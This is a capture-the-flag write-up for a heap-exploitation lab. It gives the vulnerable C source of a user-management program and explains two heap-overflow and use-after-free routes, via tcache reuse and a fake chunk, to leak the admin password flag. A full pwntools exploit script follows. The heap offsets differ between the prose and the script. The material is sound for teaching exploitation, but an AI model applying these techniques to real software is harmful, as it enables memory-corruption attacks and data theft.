Simple PWN 0x19(Lab - babyums
- flag 1)
tags: CTF
PWN
eductf
Version: Ubuntu 20.04
Original Code
:::spoiler Original Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define FLAG1 "flag{XXXXXXXX}"
struct User
{
char name[0x10];
char password[0x10];
void *data;
};
struct User *users[8];
static short int get_idx()
{
short int idx;
printf("index\n> ");
scanf("%hu", &idx);
if (idx >= 8)
printf("no, no ..."), exit(1);
return idx;
}
static short int get_size()
{
short int size;
printf("size\n> ");
scanf("%hu", &size);
if (size >= 0x500)
printf("no, no ..."), exit(1);
return size;
}
void add_user()
{
short int idx;
idx = get_idx();
users[idx] = malloc(sizeof(*users[idx]));
printf("username\n> ");
read(0, users[idx]->name, 0x10);
printf("password\n> ");
read(0, users[idx]->password, 0x10);
users[idx]->data = NULL;
printf("success!\n");
}
void edit_data()
{
short int idx;
short int size;
idx = get_idx();
size = get_size();
if (users[idx]->data == NULL)
users[idx]->data = malloc(size);
read(0, users[idx]->data, size);
printf("success!\n");
}
void del_user()
{
short int idx;
idx = get_idx();
free(users[idx]->data);
free(users[idx]);
printf("success!\n");
}
void show_users()
{
for (int i = 0; i < 8; i++) {
if (users[i] == NULL || users[i]->data == NULL)
continue;
printf("[%d] %s\ndata: %s\n", i, users[i]->name, (char *)users[i]->data);
}
}
void add_admin()
{
users[0] = malloc(sizeof(*users[0]));
strcpy(users[0]->name, "admin");
strcpy(users[0]->password, FLAG1);
users[0]->data = NULL;
}
int main()
{
char opt[2];
int power = 20;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("**** User Management System ****\n");
add_admin();
while (power)
{
power--;
printf("1. add_user\n"
"2. edit_data\n"
"3. del_user\n"
"4. show_users\n"
"5. bye\n"
"> ");
read(0, opt, 2);
switch (opt[0]) {
case '1': add_user(); break;
case '2': edit_data(); break;
case '3': del_user(); break;
case '4': show_users(); break;
case '5': exit(0);
}
}
printf("No... no power..., b..ye...\n");
return 0;
}
:::
Something wrong
- Heap overflow
- Used after free(UAF)
- Note that, flag 1 is admin password, flag 2 is at
/home/chal/
Exploit
Hard solution - leak heap base address + heap overflow
If we can use heap overflow to overlap the user k
’s *data
, then we can let it point to admin’s password and use show_users()
to print it out
- leak admin password address
It’s very straight forward, if we delete two user, user 2 first and then user 1, at the same time, the
fd
of user 1 will point to the data of user 2. Then we can useshow_user()
to leak the address and try to findadmin_pass_addr
by minus offsetedit_data(0, 0x8, b'a') # Must add this line to use heap overflow add_user(1, b'a'*8, b'aaaa') edit_data(1, 0x20, b'a') add_user(2, b'b'*8, b'bbbb') del_user(2) del_user(1) show_user() r.recvuntil(b'[1] ') r.recvuntil(b'data: ') admin_pass_addr = u64(r.recv(6).ljust(8, b'\x00')) - 0xa0 print(hex(admin_pass_addr))
- Get the memory back from
tcache
add_user(1, b'a'*8, b'aaaa') edit_data(1, 0x20, b'a')
- Construct fake chunk that the data pointer will point to the
admin_pass_addr
fake_chunk = flat( b'a'*8, b'a'*8, b'a'*8, 0x31, b'a'*8, b'a'*8, b'a'*8, b'a'*8, admin_pass_addr, ) edit_data(0, 0x48, fake_chunk) show_user()
- Then we got flag 1!!!
Easy solution
Try to let the admin user be the data of other user, then we can use show_user
function to print it out
add_user(1, b'a'*8, b'aaaa')
del_user(0)
edit_data(1, 0x20, b'b'*16)
show_user()
- First, we add user 1
- Then we delete user 0(admin), so that it’ll be put into
tcache
(0x30
) - When we use
edit_data
function, it’ll get a memory space from sub-bin oftcache
be user1’s data, which is what we delete. In addition, in order to print the data section out, must change theNULL
byte to garbage - Then we got flag 1!!!
:::spoiler Whole exploit
from pwn import *
r = process('./chal')
# r = remote('edu-ctf.zoolab.org', 10008)
context.arch = 'amd64'
def add_user(idx, user_name, user_passwd):
r.sendafter(b'> ', b'1')
r.sendlineafter(b'index\n> ', str(idx))
r.sendafter(b'username\n> ', user_name)
r.sendafter(b'password\n> ', user_passwd)
def edit_data(idx, note_size, message):
r.sendafter(b"> ", b"2")
r.sendlineafter(b'index\n> ', str(idx))
r.sendlineafter(b'size\n> ', str(note_size))
r.send(message)
def del_user(idx):
r.sendafter(b"> ", b"3")
r.sendlineafter(b'index\n> ', str(idx))
def show_user():
r.sendafter(b"> ", b"4")
'''------------------
Hard solution
------------------'''
edit_data(0, 0x8, b'a')
add_user(1, b'a'*8, b'aaaa')
edit_data(1, 0x20, b'a')
add_user(2, b'b'*8, b'bbbb')
del_user(2)
del_user(1)
show_user()
r.recvuntil(b'[1] ')
admin_pass_addr = u64(r.recv(6).ljust(8, b'\x00')) - 0x70
print(hex(admin_pass_addr))
add_user(1, b'a'*8, b'aaaa')
fake_chunk = flat(
b'a'*8, b'a'*8,
b'a'*8, 0x31,
b'a'*8, b'a'*8,
b'a'*8, b'a'*8,
admin_pass_addr,
)
edit_data(1, 0x20, b'a')
edit_data(0, 0x48, fake_chunk)
show_user()
'''------------------
Easy solution
------------------'''
add_user(1, b'a'*8, b'aaaa')
del_user(0)
edit_data(1, 0x20, b'b'*16)
show_user()
r.interactive()
:::